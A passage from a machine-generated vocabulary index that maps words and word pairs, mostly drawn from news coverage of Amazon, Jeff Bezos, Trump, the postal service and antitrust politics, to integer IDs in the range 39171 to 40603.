39171, "sheds heavenly": 39172, "trot": 39173, "integrated business": 39174, "125 ct": 39175, "privacy faces": 39176, "political beefs": 39177, "just shocked": 39178, "jaclyn london": 39179, "component walgreens": 39180, "damage children": 39181, "julie bykowicz": 39182, "regulatory scrutiny": 39183, "provide refund": 39184, "begun amazon": 39185, "1984 orwell": 39186, "food benefits": 39187, "network correspondent": 39188, "raiding military": 39189, "recommendations including": 39190, "media busineses": 39191, "books content": 39192, "power privacy": 39193, "drone gr\u00e9goire": 39194, "openly support": 39195, "bolduan absolutely": 39196, "history drama": 39197, "equities": 39198, "backed delivery": 39199, "government corruption": 39200, "devices declaring": 39201, "collectible trump": 39202, "hired sees": 39203, "supports jerusalem": 39204, "field ms": 39205, "commission president": 39206, "trump responded": 39207, "account maintained": 39208, "right word": 39209, "including returning": 39210, "extra fund": 39211, "000 amazon": 39212, "deal pricing": 39213, "company slack": 39214, "inequality traffic": 39215, "amazon success": 39216, "letter geraldine": 39217, "individual push": 39218, "knowing": 39219, "shopper supposed": 39220, "president needs": 39221, "shadow ban": 39222, "majors": 39223, "keeps silicon": 39224, "trulyextraordinary john": 39225, "development subsidy": 39226, "saddle amazon": 39227, "fedscoop reported": 39228, "potential investigations": 39229, "chronicler": 39230, "pass daniel": 39231, "psychologists say": 39232, "explains cnn": 39233, "lags": 39234, "congress means": 39235, "amazon main": 39236, "acting fbi": 39237, "sen warren": 39238, "conclude believe": 39239, "list followed": 39240, "345": 39241, "laws strong": 39242, "radical departure": 39243, "marketplace leader": 39244, "educational": 39245, "words el": 39246, "adopted policies": 39247, "love dick": 39248, "pres": 39249, "company human": 39250, "fair hq2": 39251, "polyamory": 39252, "existing commercial": 39253, "expensive real": 39254, "wedding gift": 39255, "related real": 39256, "billionaire foe": 39257, "party line": 39258, "conservative activist": 39259, "ottawa": 39260, "unlikely relationships": 39261, "bookselling": 39262, "alums": 39263, "fqzm3suyxa": 39264, "african upheaval": 39265, "amazon opportunities": 39266, "vendors pentagon": 39267, "trump wanted": 39268, "amazon median": 39269, "regular pair": 39270, "sourceamazon fox": 39271, "featured": 39272, "thailand anusak": 39273, "emergency california": 39274, "drew criticism": 39275, "aquatics": 39276, "engendered": 39277, "accept cash": 39278, "barred states": 39279, "catchingly": 39280, "delivery driver": 39281, "letter amidst": 39282, "turkey inspired": 39283, "sanders asked": 39284, "jonas": 39285, "tactics seoul": 39286, "earnings spiked": 39287, "evt currenttarget": 39288, "confident roger": 39289, "hyde": 39290, "dishonest reporting": 39291, "joe crowley": 39292, "rev bishop": 39293, "featuring tom": 39294, "academic institutions": 39295, "currently assessing": 39296, "amazon cook": 39297, "subsidies new": 39298, "ceo wealth": 39299, "notable recipients": 39300, "brought pair": 39301, "america sources": 39302, "ianniello saying": 39303, "actual monopoly": 39304, "billionaire wave": 39305, "arranging unauthorized": 39306, "list according": 39307, "press bezos": 39308, "mackenzie announcing": 39309, "p48zyasb92 mandy": 39310, "treated takes": 39311, "increased wages": 39312, "latest firm": 39313, "entertained guests": 39314, "external event": 39315, "manhood size": 39316, "chrome 2018": 39317, "spontaneously erupted": 39318, "alcoa isn": 39319, "whoosh": 39320, "shouldstartvideo false": 39321, "worth nearly": 39322, "genuine intense": 39323, "2008 rules": 39324, "historical context": 39325, "outsourcing jobs": 39326, "current administration": 39327, "pressure strong": 39328, "leigh tami": 39329, "competitors amazon": 39330, "design": 39331, "aggressive weapon": 39332, "national events": 39333, "sharpton annual": 39334, "seeing": 39335, "provide workers": 39336, "whim state": 39337, "crammed": 39338, "deliberation amazon": 39339, "day educator": 39340, "monney": 39341, "uber right": 39342, "footprint bodes": 39343, "ool float": 39344, "power related": 39345, "nauseating": 39346, "sectionuri showsocialsharebar": 39347, "politicians frantically": 39348, "amazon immune": 39349, "results trump": 39350, "hob": 39351, "global technology": 39352, "company unique": 39353, "amazon massive": 39354, "total worldwide": 39355, "gonz\u00e1lez": 39356, "sadh pieces": 39357, "administration tried": 39358, "images forbes": 39359, "net thomas": 39360, "impact studies": 39361, "page alex": 39362, "reaching 1818": 39363, "realclear opinion": 39364, "progressive left": 39365, "value development": 39366, "night party": 39367, "2018 banff": 39368, "known better": 39369, "president ads": 39370, "beeler": 39371, "pay trump": 39372, "basic economics": 39373, "investigations driven": 39374, "ortis mayor": 39375, "denoting national": 39376, "accessories marshalls": 39377, "limited redactions": 39378, "brennan according": 39379, "second company": 39380, "alleviate growing": 39381, "rallies man": 39382, "sales just": 39383, "allowing": 39384, "boomers": 39385, "c1 script": 39386, "cover today": 39387, "combination makes": 39388, "issue fawning": 39389, "previously flirted": 39390, "mondays": 39391, "bucket listthese": 39392, "blasted online": 39393, "term challenges": 39394, "trip outside": 39395, "reo vn": 39396, "womans story": 39397, "100 special": 39398, "conservative leaders": 39399, "brochure": 39400, "company quietly": 39401, "sex discrimination": 39402, "200 billion": 39403, "avni ny": 39404, "statesand": 39405, "demonstrations": 39406, "venture capitals": 39407, "mining shipping": 39408, "marks": 39409, "conspicuously": 39410, "eventually change": 39411, "gress united": 39412, "industrialized": 39413, "obst": 39414, "later backtracked": 39415, "secretly investigating": 39416, "staff appear": 39417, "block people": 39418, "customers brennan": 39419, "directors unlike": 39420, "headwinds": 39421, "poor shot": 39422, "traffic folks": 39423, "emoluments case": 39424, "personal affairs": 39425, "guide salespeople": 39426, "fully legal": 39427, "employment growth": 39428, "7nextprevplay": 39429, "reiterated president": 39430, "shoulder wrap": 39431, "anindelible": 39432, "joe pompeo": 39433, "discrimination lawsuit": 39434, "today marks": 39435, "clause violations": 39436, "stay alive": 39437, "readily visible": 39438, "various solutions": 39439, "unexpectedly": 39440, "accessories online": 39441, "2018 obviously": 39442, "phillips subsequent": 39443, "director sees": 39444, "seaport town": 39445, "program isn": 39446, "survive hurricane": 39447, "political analysts": 39448, "mourning declared": 39449, "prohibited listing": 39450, "timely cautionary": 39451, "imira": 39452, "trucker doesn": 39453, "tra trump": 39454, "norris": 39455, "slate inactive": 39456, "media organisation": 39457, "waste pro": 39458, "senior writer": 39459, "team surfaced": 39460, "football": 39461, "33c": 39462, "2020 race": 39463, "valued": 39464, "hops": 39465, "2008 paper": 39466, "policy work": 39467, "emerald city": 39468, "case according": 39469, "make light": 39470, "firedfbi director": 39471, "armed forces": 39472, "tunnels": 39473, "helen": 39474, "seller shutting": 39475, "university schar": 39476, "citing notable": 39477, "eliminate multilateral": 39478, "lic citing": 39479, "specifying": 39480, "stemmed": 39481, "offline presence": 39482, "chicken airs": 39483, "ei": 39484, "manhattan da": 39485, "20th century": 39486, "briefly following": 39487, "michael horowitz": 39488, "federation nrf": 39489, "feigenholtz says": 39490, "critical stories": 39491, "definite": 39492, "allies canada": 39493, "blogs dnainfo": 39494, "different beliefs": 39495, "cities white": 39496, "essentially trying": 39497, "twitter meaning": 39498, "yacht": 39499, "744 shares": 39500, "missourians choose": 39501, "official apology": 39502, "big fed": 39503, "licensing": 39504, "food budgets": 39505, "public imagination": 39506, "259 bought": 39507, "line reported": 39508, "attacks anniversary": 39509, "howard marks": 39510, "focus ahead": 39511, "publish personal": 39512, "people aim": 39513, "repeatedly promised": 39514, "aileen lee": 39515, "starring tom": 39516, "calculus coroners": 39517, "activity huttenlocher": 39518, "wields ig": 39519, "550": 39520, "boss unless": 39521, "founding general": 39522, "position saying": 39523, "usps stopped": 39524, "reason think": 39525, "salaries amazon": 39526, "campus outside": 39527, "milestone soon": 39528, "thisday": 39529, "nominee kavanaugh": 39530, "ubhi clearly": 39531, "tips mediaite": 39532, "harassment allegations": 39533, "brexit woes": 39534, "playvideo": 39535, "trump statement": 39536, "bring working": 39537, "success thanks": 39538, "local corporations": 39539, "office led": 39540, "semierect manhood": 39541, "actual customers": 39542, "basic backup": 39543, "just astonishing": 39544, "orwell writes": 39545, "using google": 39546, "lee owner": 39547, "600s": 39548, "did start": 39549, "crowned emperor": 39550, "presidents": 39551, "ansel": 39552, "latest salvo": 39553, "videoplayer setplayerproperties": 39554, "editors north": 39555, "trump vowed": 39556, "brenyah": 39557, "journal lauren": 39558, "c6 stopimmediatepropagation": 39559, "cases reveling": 39560, "kamlani": 39561, "department decision": 39562, "systems inside": 39563, "corporate events": 39564, "style holding": 39565, "series touched": 39566, "translate": 39567, "turned best": 39568, "inc_copyeditedflag": 39569, "book dershowitz": 39570, "guessing": 39571, "content stock": 39572, "ron desantis": 39573, "held meeting": 39574, "fashion line": 39575, "prevention estimated": 39576, "separate computer": 39577, "crowded segment": 39578, "outdoors amazon": 39579, "impacting innovation": 39580, "pays plenty": 39581, "adam ozimek": 39582, "separate network": 39583, "president contention": 39584, "forbes lists": 39585, "contrast shadows": 39586, "snail mail": 39587, "wealth npr": 39588, "week west": 39589, "information gathered": 39590, "gadgets gaming": 39591, "collusion clinton": 39592, "financially stable": 39593, "photo ops": 39594, "ronayne": 39595, "ishares preferred": 39596, "year granting": 39597, "gao cites": 39598, "clear sections": 39599, "newman makes": 39600, "kiar property": 39601, "passport required": 39602, "initiative known": 39603, "scarcities": 39604, "law violations": 39605, "000 assistant": 39606, "amazon vastly": 39607, "whips": 39608, "times reporting": 39609, "manufacturers struggle": 39610, "abortion questions": 39611, "varivax": 39612, "fuel stops": 39613, "limited reach": 39614, "finance accountants": 39615, "awful aesthetic": 39616, "antitrust merger": 39617, "year holiday": 39618, "rustbelt": 39619, "consolidation ended": 39620, "pivotal vote": 39621, "hearing slated": 39622, "watched matter": 39623, "danza": 39624, "affable": 39625, "identifies faces": 39626, "lavish new": 39627, "trump jerry": 39628, "distinctly shady": 39629, "iii military": 39630, "addition group": 39631, "maxsa": 39632, "amzn outpaces": 39633, "severe criticism": 39634, "aides carter": 39635, "really scared": 39636, "suspects kentucky": 39637, "cracks research": 39638, "cloud numbers": 39639, "genres": 39640, "downplay amazon": 39641, "overnight similar": 39642, "industry commerce": 39643, "fan amazon": 39644, "buy tells": 39645, "weakness amazon": 39646, "started having": 39647, "amazon 194": 39648, "volume outside": 39649, "ultimately kill": 39650, "chyna controversial": 39651, "today slog": 39652, "reklaitis": 39653, "bezos emails": 39654, "runs apiece": 39655, "feel moved": 39656, "luca bruno": 39657, "lynch kayli": 39658, "acclaimed performance": 39659, "development department": 39660, "software echoed": 39661, "narrowly": 39662, "true carell": 39663, "happy family": 39664, "lincicome international": 39665, "hasn moved": 39666, "cape cod": 39667, "mday63": 39668, "indication": 39669, "lead gang": 39670, "hk asiatatler": 39671, "boy unlike": 39672, "create headaches": 39673, "company role": 39674, "despite bezos": 39675, "espinal mentioned": 39676, "service president": 39677, "wahshington": 39678, "timely accurate": 39679, "labor horror": 39680, "featuring pretty": 39681, "hargrove": 39682, "loss 2018": 39683, "chopra": 39684, "abortion legality": 39685, "postal banking": 39686, "tariff policy": 39687, "later read": 39688, "force outlined": 39689, "nature thanks": 39690, "year keeping": 39691, "annette bening": 39692, "rent": 39693, "concerns exacerbated": 39694, "consider wayfair": 39695, "everyman mnuchin": 39696, "shares recovered": 39697, "new law": 39698, "reliable source": 39699, "import costs": 39700, "trump coined": 39701, "reports coming": 39702, "postal facility": 39703, "federal judge": 39704, "politician kind": 39705, "simon miller": 39706, "union just": 39707, "trump seeks": 39708, "narrow operating": 39709, "completely transparent": 39710, "amazon edged": 39711, "environment published": 39712, "showindex owlfirstitem": 39713, "honour": 39714, "ocean wide": 39715, "jean paul": 39716, "khan argues": 39717, "rapping": 39718, "say officials": 39719, "bush": 39720, "irregular dripping": 39721, "held advanced": 39722, "justices neil": 39723, "chance newly": 39724, "criticism recently": 39725, "treasury wishes": 39726, "incorporated ami": 39727, "21st century": 39728, "apartment": 39729, "greeter position": 39730, "donations \u014228": 39731, "epidemic called": 39732, "kindle soon": 39733, "multiple positive": 39734, "decidedly different": 39735, "selloff": 39736, "model 3s": 39737, "madrigal long": 39738, "ambitious tv": 39739, "castrating helpless": 39740, "intractable": 39741, "dubious milestone": 39742, "bezos federal": 39743, "cooke": 39744, "twitter packages": 39745, "close change": 39746, "sophisticated ways": 39747, "bank deal": 39748, "running banks": 39749, "taken office": 39750, "firm armedia": 39751, "episode host": 39752, "215bn": 39753, "hutchinson cancer": 39754, "subsidies handed": 39755, "continued don": 39756, "swashbuckling": 39757, "announcing updates": 39758, "amicaali": 39759, "reach stoking": 39760, "new women": 39761, "deal ocasio": 39762, "content half": 39763, "mcdonough": 39764, "hour event": 39765, "adjust": 39766, "authorizations": 39767, "lawyer received": 39768, "losing 150": 39769, "obit": 39770, "expand unrestricted": 39771, "lawfare": 39772, "robust competition": 39773, "constructively": 39774, "tweet earlier": 39775, "refreshed": 39776, "loving women": 39777, "root cause": 39778, "property payments": 39779, "financial point": 39780, "england patriots": 39781, "enlarge": 39782, "dem donor": 39783, "time months": 39784, "cnet patrick": 39785, "undermines confidence": 39786, "amazon tim": 39787, "washington business": 39788, "nasdaq atvi": 39789, "tail toronto": 39790, "national journal": 39791, "quick search": 39792, "tebow": 39793, "katopodis social": 39794, "vast cloud": 39795, "toddbishop toddbishop": 39796, "allowances": 39797, "big pay": 39798, "left walks": 39799, "impacted thecity": 39800, "taken offense": 39801, "split equally": 39802, "beneficiaries": 39803, "containing": 39804, "dinner following": 39805, "takes aim": 39806, "says perry": 39807, "published text": 39808, "middle eastthe": 39809, "graham states": 39810, "council": 39811, "diapers": 39812, "reached earlier": 39813, "nuggets": 39814, "brokerage site": 39815, "spends whopping": 39816, "782 4368": 39817, "2019 ami": 39818, "rich girlfriend": 39819, "etf called": 39820, "vans source": 39821, "st": 39822, "pitch sheet": 39823, "aiming": 39824, "politics category": 39825, "market commerce": 39826, "public bezos": 39827, "cox brands": 39828, "delivering commercial": 39829, "trump news": 39830, "wood johnson": 39831, "trump hinted": 39832, "phoenix rising": 39833, "perennial loss": 39834, "jedi procurement": 39835, "global comms": 39836, "dethrone": 39837, "reshuffle corporate": 39838, "vermont department": 39839, "extra charges": 39840, "american illegal": 39841, "common carrier": 39842, "establish unemployment": 39843, "affair lauren": 39844, "energy billionaire": 39845, "plans chip": 39846, "update version": 39847, "truck platooning": 39848, "98th street": 39849, "congressional spouse": 39850, "oath": 39851, "unilaterally allocate": 39852, "withdrawing brazil": 39853, "pensions accounting": 39854, "china does": 39855, "liberators": 39856, "progressive amazon": 39857, "forthe wall": 39858, "features dysfunctional": 39859, "introduce legislation": 39860, "independents": 39861, "bezos bezos": 39862, "cancer deaths": 39863, "jeremiah poff": 39864, "olshan introduces": 39865, "seattle travel": 39866, "tercera": 39867, "duffel": 39868, "giant trump": 39869, "dagger available": 39870, "consistent similarity": 39871, "growth analyst": 39872, "q23": 39873, "neighborhood home": 39874, "solicited": 39875, "pushing qanon": 39876, "korea facebook": 39877, "mcdlf nyse": 39878, "ms collins": 39879, "homes mobility": 39880, "strategies writes": 39881, "corporate america": 39882, "alabama toxic": 39883, "wapo gop": 39884, "feel true": 39885, "shutdown began": 39886, "shark tank": 39887, "party veer": 39888, "groups remain": 39889, "bulky": 39890, "ceo leslie": 39891, "michael caputo": 39892, "unhealthy actors": 39893, "usps reached": 39894, "signed joint": 39895, "equity shares": 39896, "michiel huisman": 39897, "return haralampus": 39898, "hosting good": 39899, "receipts stephen": 39900, "derailments": 39901, "introduced legislation": 39902, "inexpensive delivery": 39903, "time cnn": 39904, "manufacturing": 39905, "indelible": 39906, "clear warning": 39907, "poletti": 39908, "monarchies": 39909, "goodyear": 39910, "increases state": 39911, "showtime kidding": 39912, "edelman public": 39913, "agitators": 39914, "2017 spokesperson": 39915, "americans rep": 39916, "enforced according": 39917, "ubers ipo": 39918, "nod": 39919, "logic trump": 39920, "perceived mistreatment": 39921, "accelerating change": 39922, "brings viacom": 39923, "place turned": 39924, "surveillance tactics": 39925, "evening making": 39926, "crudo": 39927, "gou billions": 39928, "fined apple": 39929, "new partnership": 39930, "explores girl": 39931, "senior correspondent": 39932, "claimed conservative": 39933, "worldwide major": 39934, "tax subsidies": 39935, "famously rescinded": 39936, "facetime bug": 39937, "publishing goat": 39938, "beijing ahead": 39939, "vast pro": 39940, "mnuchin trade": 39941, "bloomberg": 39942, "nationwide delivery": 39943, "tools application": 39944, "fast fwd": 39945, "rising stock": 39946, "turns betrayals": 39947, "tickets mother": 39948, "watch action": 39949, "continuing": 39950, "federal emergency": 39951, "mood trump": 39952, "shawna thomas": 39953, "cost million": 39954, "months want": 39955, "shore guyana": 39956, "release allen": 39957, "lawrence nick": 39958, "ethically": 39959, "jabong": 39960, "announces funding": 39961, "merchandise including": 39962, "xiaomi technews": 39963, "brunette": 39964, "taxes harming": 39965, "state overnight": 39966, "israel editorial": 39967, "says joe": 39968, "changed lot": 39969, "lessened": 39970, "income people": 39971, "flake coons": 39972, "realign antitrust": 39973, "hashtag senddonaldtospace": 39974, "business volume": 39975, "phillips software": 39976, "senator jessica": 39977, "released publicly": 39978, "big break": 39979, "rowling harry": 39980, "quantitative information": 39981, "announcement details": 39982, "read looks": 39983, "anticipated surge": 39984, "addiction cvs": 39985, "ruler": 39986, "mask left": 39987, "including ceo": 39988, "driving automobiles": 39989, "supporters asking": 39990, "war results": 39991, "probably focus": 39992, "away muttering": 39993, "rubio fl": 39994, "plays beatriz": 39995, "reports bloomberg": 39996, "online providers": 39997, "carrying democratic": 39998, "delivery war": 39999, "miscarriages": 40000, "alibaba price": 40001, "army navy": 40002, "unsubstantiated posted": 40003, "development officer": 40004, "collection warp": 40005, "expected china": 40006, "makes crystal": 40007, "persecute": 40008, "math testing": 40009, "new buy": 40010, "redeker": 40011, "advertise products": 40012, "bezos scoop": 40013, "redefining": 40014, "hume criticized": 40015, "workshops factories": 40016, "r4ee i9e": 40017, "sales pack": 40018, "doubtlessly counterfeit": 40019, "brought close": 40020, "prices rose": 40021, "democrats truly": 40022, "violations reuters": 40023, "saw job": 40024, "171 points": 40025, "consumer behavior": 40026, "activities condition": 40027, "pirated films": 40028, "daily walk": 40029, "investigation southern": 40030, "laughing pen": 40031, "dinklage": 40032, "issue hundreds": 40033, "receive royalties": 40034, "asia times": 40035, "xlk": 40036, "huge growth": 40037, "deals cnn": 40038, "dollar minimum": 40039, "raise insurgency": 40040, "world sanders": 40041, "mystique": 40042, "lewd photos": 40043, "550 000": 40044, "perfected addictive": 40045, "mcclatchy covering": 40046, "legal matter": 40047, "counterparts": 40048, "navy veteran": 40049, "global resettlement": 40050, "jr agrees": 40051, "trump point": 40052, "fact authorities": 40053, "blind willingness": 40054, "time yesterday": 40055, "imprisonment": 40056, "story ran": 40057, "enormous advantage": 40058, "conversation according": 40059, "hbo add": 40060, "make hard": 40061, "mouthing": 40062, "people wanting": 40063, "customercare": 40064, "year nebraska": 40065, "include people": 40066, "corporate elites": 40067, "sweeping statements": 40068, "mattis": 40069, "freight delivery": 40070, "lehrer asked": 40071, "ongoing controversy": 40072, "actual game": 40073, "itep": 40074, "sanchez shortly": 40075, "llc broward": 40076, "containers handled": 40077, "adorable deplorable": 40078, "detect pedestrians": 40079, "salman accused": 40080, "ingredients kathleen": 40081, "adding yes": 40082, "giants wo": 40083, "shoplifters hirokazu": 40084, "417": 40085, "starring": 40086, "baker hughes": 40087, "recreation center": 40088, "northern virgin": 40089, "face climbing": 40090, "ship products": 40091, "amazon based": 40092, "way arguably": 40093, "various prosecutors": 40094, "segment john": 40095, "newspaper bezos": 40096, "weakened dramatically": 40097, "current shipping": 40098, "relationships particularly": 40099, "pharmaceutical company": 40100, "increasingly expect": 40101, "classic presidential": 40102, "conservative jpmorgan": 40103, "spirit bobby": 40104, "portions redacted": 40105, "valley upstate": 40106, "gop congressman": 40107, "anna fusco": 40108, "busting": 40109, "services etsy": 40110, "kudlow told": 40111, "comey based": 40112, "best friends": 40113, "scramble": 40114, "violating anti": 40115, "arrested cdc": 40116, "rollout walmart": 40117, "wayfair overturned": 40118, "bail reform": 40119, "elite police": 40120, "furnishings markets": 40121, "guan taidafeng": 40122, "texas man": 40123, "struggle": 40124, "cohen nadia": 40125, "powell sure": 40126, "1993 jeff": 40127, "lessons sisters": 40128, "giant seattle": 40129, "share partnership": 40130, "deals shopping": 40131, "underwriting public": 40132, "layer editor": 40133, "chopping": 40134, "allen film": 40135, "evolving relationship": 40136, "private partnership": 40137, "cases forbes": 40138, "poorly paid": 40139, "open leslie": 40140, "a4ee u1": 40141, "paul la": 40142, "lesther alem\u00e1n": 40143, "dollars trump": 40144, "eyster": 40145, "bezos story": 40146, "dispute centres": 40147, "congressional investigators": 40148, "brennan clearance": 40149, "proceeds": 40150, "neal katyal": 40151, "worshipping": 40152, "lianga surigao": 40153, "subtle choices": 40154, "virtual book": 40155, "brat guide": 40156, "significant driver": 40157, "cristiano": 40158, "settlements": 40159, "busy denigrating": 40160, "present cutting": 40161, "strategy offering": 40162, "senate wouldn": 40163, "historic commitment": 40164, "stories solely": 40165, "environmental watchdog": 40166, "future base": 40167, "union rep": 40168, "golf clubs": 40169, "wola": 40170, "expectations cisco": 40171, "spam harold": 40172, "highly dangerous": 40173, "shows postal": 40174, "hulu rent": 40175, "minute walk": 40176, "long freewheeling": 40177, "year separately": 40178, "says yasha": 40179, "beats": 40180, "insurmountable": 40181, "properties including": 40182, "virginia congresswoman": 40183, "282": 40184, "torel couldn": 40185, "waisted claire": 40186, "concern ferrari": 40187, "scrambles": 40188, "actually ended": 40189, "time businesswoman": 40190, "staying true": 40191, "meantime amazon": 40192, "mobile meal": 40193, "remembered cbs": 40194, "netflix barack": 40195, "network news": 40196, "aws regulatory": 40197, "fuller hannibal": 40198, "anymore steve": 40199, "function tb": 40200, "public utilities": 40201, "sales figures": 40202, "235": 40203, "shinsuke nakamura": 40204, "helped little": 40205, "backlash minutes": 40206, "ankle": 40207, "ceo chairman": 40208, "shaun king": 40209, "scrutiny right": 40210, "leave online": 40211, "twitter rant": 40212, "new white": 40213, "tech related": 40214, "reuters xi": 40215, "deadly blue": 40216, "dea": 40217, "solid future": 40218, "maduro ge": 40219, "narrow passage": 40220, "retailer shared": 40221, "66billion": 40222, "key markets": 40223, "tools left": 40224, "shares plunging": 40225, "harm combat": 40226, "seuss graduation": 40227, "forgetting": 40228, "release photo": 40229, "peak hours": 40230, "tabloid handling": 40231, "reminded recently": 40232, "middle market": 40233, "service contract": 40234, "baby monitor": 40235, "listings effectively": 40236, "steel skyscrapers": 40237, "x3 suv": 40238, "taken aug": 40239, "lawrence lerner": 40240, "invested tens": 40241, "manchester dominated": 40242, "president delays": 40243, "market advantages": 40244, "mention musk": 40245, "courting talent": 40246, "leanna garfield": 40247, "pursuing delivery": 40248, "op business": 40249, "mimi": 40250, "tower company": 40251, "spicer account": 40252, "mandatory requirements": 40253, "long demanded": 40254, "neat": 40255, "sadie jones": 40256, "countdown": 40257, "2018 longtime": 40258, "britain sun": 40259, "strict a4ee": 40260, "old daughter": 40261, "2017 chip": 40262, "customers quickly": 40263, "usps requires": 40264, "goodwin steve": 40265, "employees subpar": 40266, "hard term": 40267, "corporate asset": 40268, "member peter": 40269, "mgmt nb": 40270, "boat capsizes": 40271, "tabloid produced": 40272, "money host": 40273, "american country": 40274, "isn competitive": 40275, "case makeup": 40276, "famed investor": 40277, "trending subjects": 40278, "gold airs": 40279, "despite ongoing": 40280, "hardworking": 40281, "bezo sic": 40282, "farrow says": 40283, "whitlock": 40284, "soar thanks": 40285, "brie larson": 40286, "pai arrives": 40287, "143 billion": 40288, "pondering ways": 40289, "withholds needed": 40290, "season just": 40291, "analyst pointed": 40292, "resident attending": 40293, "economic data": 40294, "subcommittee members": 40295, "price 2018": 40296, "month delay": 40297, "profit reuters": 40298, "org new": 40299, "lobby washington": 40300, "intense condemnation": 40301, "resembling": 40302, "jeannie rhee": 40303, "treatise": 40304, "company focused": 40305, "louis rams": 40306, "late present": 40307, "mother mia": 40308, "search data": 40309, "stock exchange": 40310, "budapest": 40311, "bolsonaro incendiary": 40312, "costs approximately": 40313, "janaki": 40314, "counterfeit objects": 40315, "protect obamacare": 40316, "causing higher": 40317, "parents await": 40318, "vie": 40319, "health space": 40320, "huge money": 40321, "stock canadian": 40322, "environment environmental": 40323, "anchored": 40324, "obama demonizes": 40325, "apple nasdaq": 40326, "corporate relocation": 40327, "multiple outdated": 40328, "look bad": 40329, "yeah felt": 40330, "air time": 40331, "memory": 40332, "iso": 40333, "ethics gawande": 40334, "commerce site": 40335, "stands": 40336, "curriculum": 40337, "impressive standard": 40338, "restaurant owner": 40339, "company poor": 40340, "trump upped": 40341, "america thanks": 40342, "defending": 40343, "tammy haddad": 40344, "postal letters": 40345, "senior politicians": 40346, "faangs buy": 40347, "scaretta enright": 40348, "michael yang": 40349, "remaining 400m": 40350, "global conversation": 40351, "talking pen": 40352, "films removed": 40353, "000 gallons": 40354, "morning wake": 40355, "reworking": 40356, "shredded": 40357, "brustein bloomberg": 40358, "people worldwide": 40359, "sender list": 40360, "trump children": 40361, "cause fuel": 40362, "workers farmers": 40363, "questioned advisers": 40364, "related risks": 40365, "trump 100": 40366, "blows": 40367, "trade deal": 40368, "video true": 40369, "largesse including": 40370, "staunch ally": 40371, "demographics": 40372, "finalized": 40373, "fortune jumped": 40374, "times great": 40375, "elections watch": 40376, "creative agency": 40377, "index gains": 40378, "delivery systems": 40379, "bavel": 40380, "000 profit": 40381, "intermediate": 40382, "service raw": 40383, "representative haaland": 40384, "folklife festival": 40385, "democratic donor": 40386, "african nations": 40387, "toddlewood": 40388, "overstate": 40389, "religious nature": 40390, "agent noticed": 40391, "pakistani military": 40392, "sellers lobbying": 40393, "beta kappa": 40394, "people raise": 40395, "angered trump": 40396, "luverne alabama": 40397, "seattle prince": 40398, "technology platforms": 40399, "attorney partner": 40400, "wiki": 40401, "political debate": 40402, "world detailed": 40403, "investors meaning": 40404, "nonstop robocalls": 40405, "vegetables peter": 40406, "president visit": 40407, "white shirt": 40408, "principal scientist": 40409, "explores young": 40410, "initiative expanded": 40411, "sixth lombardi": 40412, "dub seattle": 40413, "unseals hacking": 40414, "tray according": 40415, "doorway announced": 40416, "bsquare growers": 40417, "lilac": 40418, "1980 stood": 40419, "ip": 40420, "ended": 40421, "ignore warnings": 40422, "encroaching": 40423, "amazon sears": 40424, "bezos stand": 40425, "beast says": 40426, "bitty fraction": 40427, "having lovers": 40428, "amazon job": 40429, "blocking broadcom": 40430, "attends rally": 40431, "dynasty set": 40432, "wildfire torched": 40433, "city going": 40434, "limitations": 40435, "argenti": 40436, "945 9550": 40437, "costly lobbyist": 40438, "distressing": 40439, "amazon facility": 40440, "dictatorial methods": 40441, "dr congo": 40442, "president rodrigo": 40443, "ambivalent": 40444, "rustic landscape": 40445, "space platform": 40446, "shipping carell": 40447, "communications director": 40448, "farmers puerto": 40449, "astoria boulevard": 40450, "company sees": 40451, "jordan toya": 40452, "pays": 40453, "famously private": 40454, "growing shipping": 40455, "earlier writings": 40456, "tweets sent": 40457, "asked brian": 40458, "tension": 40459, "really new": 40460, "steve dillon": 40461, "service cvs": 40462, "tv program": 40463, "zlotow glen": 40464, "government networks": 40465, "countries josh": 40466, "showtime channel": 40467, "google faced": 40468, "simple young": 40469, "rep barbara": 40470, "avoided recession": 40471, "far rebuffed": 40472, "phoenix wasn": 40473, "central washington": 40474, "lederman": 40475, "obsolete poked": 40476, "virtues": 40477, "report showing": 40478, "broward regional": 40479, "yesterday gain": 40480, "book bobby": 40481, "growth prospects": 40482, "support small": 40483, "soy importer": 40484, "impel": 40485, "cult classic": 40486, "involve long": 40487, "adriana trigiani": 40488, "transportation supply": 40489, "whippets": 40490, "washington sept": 40491, "people live": 40492, "expected memorandum": 40493, "boosts trump": 40494, "pump": 40495, "remains expired": 40496, "quiet measured": 40497, "counter walmart": 40498, "macys": 40499, "seek restitution": 40500, "drama article38073257": 40501, "washington private": 40502, "spikes occur": 40503, "motivated violence": 40504, "tm twitter": 40505, "548": 40506, "sodo": 40507, "existing family": 40508, "french read": 40509, "social effects": 40510, "icann initially": 40511, "publix getting": 40512, "urge antitrust": 40513, "cronyism efforts": 40514, "congressional staff": 40515, "removeclass": 40516, "forensic analysis": 40517, "trump promotion": 40518, "heat dizzying": 40519, "fist pumping": 40520, "yelp valued": 40521, "mom immigrated": 40522, "ambassador amazonfcadam": 40523, "legitimate assessment": 40524, "history customers": 40525, "lohr jones": 40526, "rents skyrocketing": 40527, "ginsberg talks": 40528, "amazonbasics amazon": 40529, "story elon": 40530, "texas hospital": 40531, "economy terribly": 40532, "title ros\u00e9": 40533, "apple trump": 40534, "tract containing": 40535, "world smartphones": 40536, "song don": 40537, "backups": 40538, "analyst ratings": 40539, "host": 40540, "squids": 40541, "afford specialty": 40542, "ventures blue": 40543, "motorcycle soldier": 40544, "completely disrupting": 40545, "puffing": 40546, "post sex": 40547, "ice according": 40548, "urinals": 40549, "denver mayor": 40550, "huge disappointment": 40551, "china pact": 40552, "activated technology": 40553, "steadfastly": 40554, "pill based": 40555, "loud funny": 40556, "enforcement abuse": 40557, "college research": 40558, "decorum mean": 40559, "proven track": 40560, "deviled": 40561, "watches 2018": 40562, "things memphis": 40563, "clearly big": 40564, "radical nuanced": 40565, "aaron goggans": 40566, "range 2018": 40567, "continued maybe": 40568, "buy print": 40569, "restlessness": 40570, "papers summarized": 40571, "korean dictator": 40572, "hardcover books": 40573, "policy discussions": 40574, "sales grew": 40575, "ku": 40576, "savings event": 40577, "sentimental": 40578, "political risks": 40579, "early onset": 40580, "app mueller": 40581, "stimulating": 40582, "make tesla": 40583, "new data": 40584, "trilogy z\u00e9lie": 40585, "sao": 40586, "similar requirements": 40587, "lengthy house": 40588, "ounce stamped": 40589, "insane mckinnon": 40590, "named david": 40591, "congress deals": 40592, "abide": 40593, "ann kohring": 40594, "figure": 40595, "states false": 40596, "silos": 40597, "protesters wanting": 40598, "care starting": 40599, "expose published": 40600, "pulverize": 40601, "pricey gifts": 40602, "rashad long": 40603, 